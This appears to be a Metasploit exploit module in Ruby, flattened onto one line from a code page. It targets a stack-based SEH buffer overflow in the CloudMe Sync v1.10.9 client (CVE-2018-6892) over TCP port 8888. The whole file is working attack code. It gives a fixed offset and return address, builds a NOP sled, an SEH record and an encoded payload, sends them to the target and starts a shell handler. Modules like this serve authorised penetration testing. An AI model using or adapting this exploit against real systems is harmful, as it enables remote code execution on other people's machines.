1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CloudMe Sync v1.10.9', 'Description'=> %q{ This module exploits a stack-based buffer overflow vulnerability in CloudMe Sync v1.10.9 client application. This module has been tested successfully on Windows 7 SP1 x86. }, 'License'=> MSF_LICENSE, 'Author' => [ 'hyp3rlinx',# Original exploit author 'Daniel Teixeira' # MSF module author ], 'References' => [ [ 'CVE', '2018-6892'], [ 'EDB', '44027' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload'=> { 'BadChars' => "\x00", }, 'Targets'=> [ [ 'CloudMe Sync v1.10.9', { 'Offset' => 2232, 'Ret'=> 0x61e7b7f6 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 17 2018', 'DefaultTarget'=> 0)) register_options([Opt::RPORT(8888)]) end def exploit connect buffer = make_nops(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded sock.put(buffer) handler end end |